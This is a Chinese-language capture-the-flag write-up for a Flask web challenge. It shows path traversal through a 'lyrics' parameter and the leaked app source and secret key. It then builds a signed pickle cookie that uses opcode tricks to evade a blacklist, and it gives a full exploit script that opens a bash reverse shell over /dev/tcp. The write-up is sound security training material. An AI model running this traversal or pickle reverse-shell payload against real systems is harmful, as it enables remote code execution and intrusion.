2024羊城杯-Web-Lyrics _For_You

2024羊城杯-Web-Lyrics For You

题目描述:I have wrote some lyrics for you......


复现平台

https://www.xautctf.cn/games/3/challenges

涉及考点

文件包含
信息泄露
代码审计
Python反序列化


信息搜集

首先开启靶机,进入主目录,有三个交互键,分别指向

http://139.155.126.78:37133/lyrics?lyrics=Rain.txt

http://139.155.126.78:37133/lyrics?lyrics=Space%20Bound.txt

http://139.155.126.78:37133/lyrics?lyrics=Sketch%20Plane.txt

观察到lyrics参数的值是一个文件名,尝试访问http://139.155.126.78:37133/lyrics?lyrics=lyrics=../../../../etc/passwd

2024ycb_web_lyricsforyou_1

成功返回/etc/passwd文件内容,存在文件包含

此处笔者首先尝试了文件包含getshell,但失败了,失败过程在此不记录了

回归正题,根据上文包含/etc/passwd目录推测,当前脚本所在目录应该是/aaa/bbb/ccc/lyrics,/aaa/bbb/ccc是工作根目录

尝试包含index.php,index.html,均提示文件不存在,推测大概率不是php环境

尝试包含app.py,即http://139.155.126.78:37133/lyrics?lyrics=lyrics=../app.py,成功

2024ycb_web_lyricsforyou_2

根据代码,这就是一个Flask框架的python环境,那么目录结构应该是/usr/etc/app

将代码格式化处理,便于审计

# app.py
import os
import random
from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle

app = Flask(__name__)
app.secret_key = random.randbytes(16)

class UserData:
    def __init__(self, username):
        self.username = username

def Waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word.lower() in data.lower():
            valid = True
            break
    return valid

@app.route("/", methods=['GET'])
def index():
    return render_template('index.html')

@app.route("/lyrics", methods=['GET'])
def lyrics():
    resp = make_response()
    resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
    query = request.args.get("lyrics")
    path = os.path.join(os.getcwd() + "/lyrics", query)
    try:
        with open(path) as f:
            res = f.read()
    except Exception as e:
        return "No lyrics found"
    return res

@app.route("/login", methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form["username"]
        user = UserData(username)
        res = {"username": user.username}
        return set_cookie("user", res, secret=secret_code)
    return render_template('login.html')

@app.route("/board", methods=['GET'])
def board():
    invalid = cookie_check("user", secret=secret_code)
    if invalid:
        return "Nope, invalid code get out!"
    data = get_cookie("user", secret=secret_code)
    if isinstance(data, bytes):
        a = pickle.loads(data)
        data = str(data, encoding="utf-8")
    if "username" not in data:
        return render_template('user.html', name="guest")
    if data["username"] == "admin":
        return render_template('admin.html', name=data["username"])
    if data["username"] != "admin":
        return render_template('user.html', name=data["username"])

if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    app.run(host="0.0.0.0", port=8080)

根据引用的库,推测还有cookie.py和config/secret_key.py文件

将它们一起读取出来

2024ycb_web_lyricsforyou_3

2024ycb_web_lyricsforyou_4

格式化处理一下

# cookie.py
import base64
import hashlib
import hmac
import pickle
from flask import make_response, request

unicode = str
basestring = str  # Quoted from python bottle template, thanks :D

def cookie_encode(data, key):
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg

def cookie_decode(data, key):
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None

def waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word in data:
            valid = True
            # print(word)
            break
    return valid

def cookie_check(key, secret=None):
    a = request.cookies.get(key)
    data = tob(request.cookies.get(key))
    if data:
        if cookie_is_encoded(data):
            sig, msg = data.split(tob('?'), 1)
            if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
                res = base64.b64decode(msg)
                if waf(res):
                    return True
                else:
                    return False
            return True
    else:
        return False

def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, unicode) else bytes(s)

def get_cookie(key, default=None, secret=None):
    value = request.cookies.get(key)
    if secret and value:
        dec = cookie_decode(value, secret)
        return dec[1] if dec and dec[0] == key else default
    return value or default

def cookie_is_encoded(data):
    return bool(data.startswith(tob('!')) and tob('?') in data)

def _lscmp(a, b):
    return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)

def set_cookie(name, value, secret=None, **options):
    if secret:
        value = touni(cookie_encode((name, value), secret))
        resp = make_response("success")
        resp.set_cookie("user", value, max_age=3600)
        return resp
    elif not isinstance(value, basestring):
        raise TypeError('Secret key missing for non-string Cookie.')
    if len(value) > 4096:
        raise ValueError('Cookie value too long.')

def touni(s, enc='utf8', err='strict'):
    return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)
# config/secret_key.py
secret_code = "EnjoyThePlayTime123456"

通过对app.py审计发现,还存在/login和/board路由

其中/login路由中,用户输入一个用户名,便会返回一个cookie

在/board路由中,对cookie进行反序列化,提取其中字符串并输出

很明显,这应该是一个python的反序列化考点


python反序列化

要通过cookie触发反序列化

首先观察怎么生成cookie

我们是从/login这个路由获取的cookie,自然从这个路由开始看

res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)

user.username就是我们输入的用户名,secret_code就是在config/secret_key.py的EnjoyThePlayTime123456

继续跟进set_cookie()方法

value = touni(cookie_encode((name, value), secret))
resp = make_response("success")
resp.set_cookie("user", value, max_age=3600)
return resp

很明显,调用set_cookie方法 (PS:此处的set_cookie方法和刚提到的set_cookie()函数不是同一个) 设置了一个键为user,值为value的cookie,而value的值就是我们需要的cookie的值,而传入的原本的value变量则是/login路由中的res

至此,找到了cookie的生成函数

touni(cookie_encode((name, value), secret))

仿照原格式

我们生成cookie的函数应该是

touni(cookie_encode(("user", payload), "EnjoyThePlayTime123456"))

或许有人疑惑,如果仿照原格式,不应该是这样吗

touni(cookie_encode(("user", {"username": payload}), "EnjoyThePlayTime123456"))

我们转过头来看/board对于传入的cookie的处理

data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
    a = pickle.loads(data)
    data = str(data, encoding="utf-8")

get_cookie()返回的是cookie中user这个键对应的值,即上文touni()方法中的哪个value,而在接下来的loads反序列化过程,则是对这个value进行的,而我们所需要反序列化的,就是我们的payload,因此使用传入payload而非{"username": payload}

接下来就需要payload了,但是存在waf()方法

blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']

其中R被拉黑,意味着我们无法使用使用__reduce__()

但是我们还可以用其他方法,例如构造opcode

这里推荐阅读这位师傅的博客,讲的十分详细清楚pickle反序列化初探 - 先知社区 (aliyun.com)

在此我不多赘述原理,这次我选择使用O这个opcode

# 模板
payload = b'''(cos
system
S'whoami'
o.'''

修改一下,改为反弹shell

payload = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
o.'''

EXP

于是反弹Shell版解法的完整EXP为

from cookie import *
import requests

url = "http://139.155.126.78:37133/board"

payload = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
o.'''

payload = touni(cookie_encode(("user", payload), "EnjoyThePlayTime123456"))

requests.get(url, cookies={"user": payload})
# 记得本地开启监听

反弹shell后,执行/readflag即可得到flag

2024ycb_web_lyricsforyou_5

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇